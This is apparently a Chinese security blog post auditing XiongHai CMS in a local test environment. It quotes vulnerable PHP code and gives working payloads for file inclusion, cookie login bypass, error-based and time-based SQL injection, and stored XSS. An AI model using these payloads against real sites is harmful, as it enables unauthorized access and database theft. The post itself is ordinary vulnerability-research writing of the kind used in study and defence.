0x00前言
好些天没写文章了,今天给大家分享一篇对于熊海cms的审计
本文所使用的环境为phpstudy的php5.2.17版本+apache
0x01正文
看过我之前文章的朋友知道:在审计之前,我们可以通过查询CNVD来知道准备审计的cms存在的漏洞。这样可以更方便于我们来挖掘,复现漏洞
- 文件包含漏洞(admin/index.php)
当我看到cnvd的第一个漏洞是登入绕过的时候(一个个来),我们先打开后台地址看看
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
我们可以发现 $file=addslashes($_GET['r']);对于r的输入进行了过滤
include('files/'.$action.'.php');但是这里我们可以发现$action是可控的,即输入的参数是可控的(即使是存在魔术引号)。
这个情况与我之前审计bluecms时候类似。我贴一张当时的图
我们先建个txt
最后效果
payload:/admin/?r=../../1.txt.......................................................................................................................................................................................................................................................................................................................................................................................................
- 文件包含漏洞(index.php)
该处漏洞与上面相同 - 登入绕过漏洞(cookie)
当我在抓后台包的时候我发现cookie处
经过查看文件源码,我们来到checklogin.php
可以发现。当cookie为空的时候,就跳转到了登入页面。那么不为空的时候呢,这里就成功的绕过了登入。
- SQL注入漏洞(admin/files/login.php)
当&login不为空时候,执行下面的sql语句。且我们可以发现user并未进行过滤,并且
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());这里可以执行报错注入以及盲注。效果如下
payload:user=admin1' and extractvalue(1,concat(0x7e,(select database())))--+&password=123456&login=yes
- SQL注入(/admin/files/editwz.php与/admin/files/editcolumn.php)
我们利用全局搜索的方法来寻找select类型的注入(与上一个同理)
- SQL注入(/files/content.php与/files/software.php)
这里可以发现输入的变量经过addslashes的过滤。不过我们依旧可以利用报错注入或者时间盲注来执行
payload:xhcms/?r=content&cid=1%20and%20extractvalue(1,concat(0x7e,(select%20database())))
-SQL注入(/admin/files/manageinfo.php)
这里是cookie处存在注入,方法如上文所示,不在复述
-insertSQL注入(/admin/files/newlink.php)
$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
@mysql_query($query) or die('新增错误:'.mysql_error());
太简单了直接上
payload:1' and sleep(10),'http://535yx.cn','yx535@qq.com','jieshao','xs',now()) #
-delectSQL注入(/admin/files/linklist.php)
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM link WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的链接已经成功删除!');location.href='?r=linklist'</script>";
exit;
直接上
payload:/admin/?r=linklist&delete=1%27%20and%20sleep(10)--+
-存储xss漏洞(/admin/files/l ink.php)x2
可以发现,这里对于输入并未有过滤,而name和url是我们刚才在newl ink.php处可控的。所以说这里存在着存储xss
0x02结尾
这里sql注入漏洞太多啦。我就不继续说了,有兴趣的朋友可以再挖挖还有哪里存在sql注入漏洞
让我们一起加油